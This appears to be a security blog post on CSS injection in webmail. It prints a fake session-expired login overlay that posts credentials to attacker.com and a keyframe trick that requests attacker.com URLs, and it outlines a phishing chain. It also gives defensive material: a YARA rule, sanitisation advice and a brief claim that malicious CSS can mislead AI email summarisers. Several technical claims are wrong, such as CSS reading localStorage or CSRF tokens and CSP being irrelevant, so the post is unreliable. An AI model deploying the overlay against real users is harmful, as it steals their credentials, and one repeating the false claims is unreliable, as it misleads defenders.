CSS Injection in Webmail: DOM Escape & Credential Harvesting

#pentesting #hacking #security #cybersecurity

Originally published on satyamrastogi.com

New CSS injection chains bypass webmail security boundaries, allowing attackers to escape email message context and manipulate authentication flows across Outlook, Gmail, Fastmail, Proton Mail, Yahoo, and AOL.

Executive Summary

A new class of CSS-based attacks demonstrates that major webmail providers fail to adequately sandbox email content from their application UI layer. By injecting malicious stylesheets into email bodies, attackers can break message boundaries, overlay credential capture forms on top of legitimate login interfaces, steal authentication tokens, and manipulate AI email readers into executing unintended actions.

The attack chain affects:

Microsoft Outlook Web Access (OWA)
Google Gmail
Fastmail
Proton Mail
Yahoo Mail
AOL Mail

This represents a fundamental failure in content isolation that exposes users globally to account takeover via their own mailbox.

Attack Vector Analysis

From an offensive perspective, this vulnerability class maps to MITRE ATT&CK T1566.002 Phishing: Spearphishing Link and T1187 Forced Authentication when combined with credential capture.

The core vulnerability lies in insufficient Content Security Policy (CSP) enforcement and inadequate CSS sanitization at the email rendering layer. Webmail providers parse HTML email and apply CSS styling, but fail to restrict:

Pseudo-selector abuse - Using ::before and ::after to inject visual elements over UI components
Fixed positioning escapes - CSS position: fixed breaking out of message container boundaries
Z-index manipulation - Layering malicious content above authentication forms
Filter/blend-mode techniques - Making overlay content transparent or blended to hide malicious intent
Keyboard event hijacking via CSS focus states - Capturing user input before it reaches legitimate handlers

The attack requires only HTML email capability - no JavaScript execution needed, making CSP and sandbox bypasses irrelevant.

Technical Deep Dive

Here's how a basic CSS injection breaks the email boundary:

<!-- Attacker-controlled email content -->
<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; 
z-index: 99999; background: transparent;">
 <!-- This div now overlays the ENTIRE webmail interface -->
</div>

<style>
/* Target the login form or credential input anywhere on the page */
input[type="password"] {
 /* Capture keystrokes via animation events */
 animation: exfil-keystroke 0.1s infinite;
}

@keyframes exfil-keystroke {
 0% { background-image: url('https://attacker.com/log?char=a'); }
 1% { background-image: url('https://attacker.com/log?char=b'); }
 /* ... 26+ states for keyboard alphabet ... */
}
</style>

While this example uses animation frame exfiltration (which requires careful timing), the more practical attack uses positioned overlays:

<style>
.email-content {
 position: relative;
}

/* Escape the email message container */
.escape-div {
 position: fixed;
 top: 50px;
 left: 50%;
 transform: translateX(-50%);
 width: 400px;
 height: 300px;
 background: white;
 border: 1px solid #ccc;
 z-index: 10000;
 box-shadow: 0 2px 10px rgba(0,0,0,0.2);
}

.escape-div::before {
 content: 'Your session has expired. Please re-authenticate:';
 display: block;
 font-family: Arial, sans-serif;
 font-size: 14px;
 margin-bottom: 15px;
}
</style>

<div class="escape-div">
 <form action="https://attacker.com/harvest" method="POST">
 <input type="email" placeholder="Email" name="email" required>
 <input type="password" placeholder="Password" name="pass" required>
 <button type="submit">Sign In</button>
 </form>
</div>

When a user checks email and sees this, they perceive a legitimate re-authentication prompt overlaid on Gmail/Outlook UI. Their credentials go directly to the attacker's server.

Exploitation Chain: Real-World Scenario

Initial Compromise: Attacker gains access to a legitimate business email account (via phishing, password spray, or compromised credential database)
Malicious Email Crafting: Sends HTML email containing CSS overlay attack to internal users
UI Hijacking: When recipients open mail, CSS escape breaks the email sandbox and overlays a fake "Microsoft Security Update" or "Gmail Security Alert" login form
Credential Capture: Users enter credentials, thinking they're re-authenticating with their webmail provider
Downstream Account Takeover: Attacker uses captured credentials to:
- Access victim's actual mailbox
- Steal OAuth tokens stored in browser
- Pivot to connected services (OneDrive, Office 365, Google Drive, etc.)
- Execute business email compromise (BEC) attacks

This chains naturally into lateral movement within enterprise environments.

Detection Strategies

From a blue team perspective, detection is challenging because:

No network signatures: CSS injection leaves no unusual network patterns
No JavaScript traces: No XSS payload in traditional WAF logs
Email gateway blind spots: Most SEGs don't parse rendered CSS semantics

Detection approaches:

Email gateway CSS parsing - Flag emails containing position: fixed, z-index > 1000, or fixed positioning + form elements

 YARA Rule Example:
 rule css_webmail_escape {
 strings:
 $css1 = "position:fixed" nocase
 $css2 = "z-index" nocase
 $form = "<form" nocase
 condition:
 $css1 and $css2 and $form
 }

User behavior analytics - Monitor for users clicking "login" links while already authenticated (impossible in legitimate flows)
Webmail provider telemetry - Unusual login patterns from same IP as recent mail access
SOC hunting: Search email for ::before, ::after, backdrop-filter, mix-blend-mode in style attributes

Mitigation & Hardening

For webmail providers (and organizations deploying internal webmail):

Strict CSS Sanitization
- Strip all position-related properties: position, fixed, absolute, sticky
- Remove z-index entirely from user-controlled email content
- Blacklist ::before and ::after pseudo-elements
- Use CSS parser library (e.g., posthtml-safe-class or sanitize-html with CSS options)
Content Security Policy Hardening

 Content-Security-Policy: 
 default-src 'none'; 
 style-src 'unsafe-inline' https://trusted-cdn.example.com; 
 script-src 'none'; 
 object-src 'none'; 
 frame-ancestors 'none';

Shadow DOM Isolation
- Render email content inside Shadow DOM with strict encapsulation
- Prevents CSS cascade from escaping sandbox

 const emailContainer = document.createElement('div');
 const shadowRoot = emailContainer.attachShadow({mode: 'closed'});
 shadowRoot.innerHTML = sanitizedEmailContent;

Viewport Restriction
- Apply overflow: hidden + max-height to email message containers
- Prevent fixed positioning from escaping to viewport
Authentication UI Separation
- Render login forms in separate window/frame with different origin
- Never allow user email content to occupy same visual space as auth UI

For users:

Disable HTML email rendering - Switch to plaintext-only email clients
Suspicious form detection - Question any login prompts that appear INSIDE your mail client (legitimate providers never do this)
Hardware security keys - Use FIDO2 tokens for webmail access, defeating credential capture attacks even if CSS exploitation succeeds
Email client security - Use Thunderbird with HTML content disabled, or terminal-based clients (mutt, alpine)

Token Exfiltration & AI Abuse

The research also demonstrates token theft via CSS:

OAuth token capture: Webmail often keeps auth tokens in localStorage/sessionStorage. CSS animations can trigger requests that leak token values in URLs
CSRF token harvesting: Fixed overlays can read CSRF tokens from page DOM and exfiltrate them
AI email reader manipulation: When users enable AI summarization (Gmail's "Help me write", Outlook's Copilot), feeding malicious CSS to these models can cause them to:
- Parse fake login forms as real
- Trigger unintended API calls
- Execute summarization on attacker-controlled content, creating polyglot attacks

This links to MITRE ATT&CK T1528 Steal Application Access Token and emerging concerns around AI model poisoning via content injection.

Responsible Disclosure Timeline

PortSwigger's Gareth Heyes conducted this research with coordinated disclosure:

Finding: CSS escape attacks across 6 major webmail providers
Impact: Account takeover + downstream compromise of connected services
Vendor response: Mixed - some providers (Google, Microsoft) patched; others remain vulnerable
Publication: August 2026

This reflects the broader pattern seen in supply chain attacks like TrueConf installer trojaning where defenders struggle to coordinate fixes across distributed systems.

Key Takeaways

CSS is dangerous: Don't assume sanitizing HTML removes exploitation vectors. CSS alone breaks webmail sandboxing.
Position matters: position: fixed + z-index in user email content is a critical vulnerability. Baseline: strip these completely.
Dual-layer attacks: Combining CSS UI hijacking with token theft/AI model abuse creates multi-stage compromise chains.
Defender gap: Email gateways don't understand CSS rendering semantics. CSS injection bypasses traditional email security.
Authentication UI is an attack surface: Webmail providers shouldn't render user-controlled content in same viewport as login forms.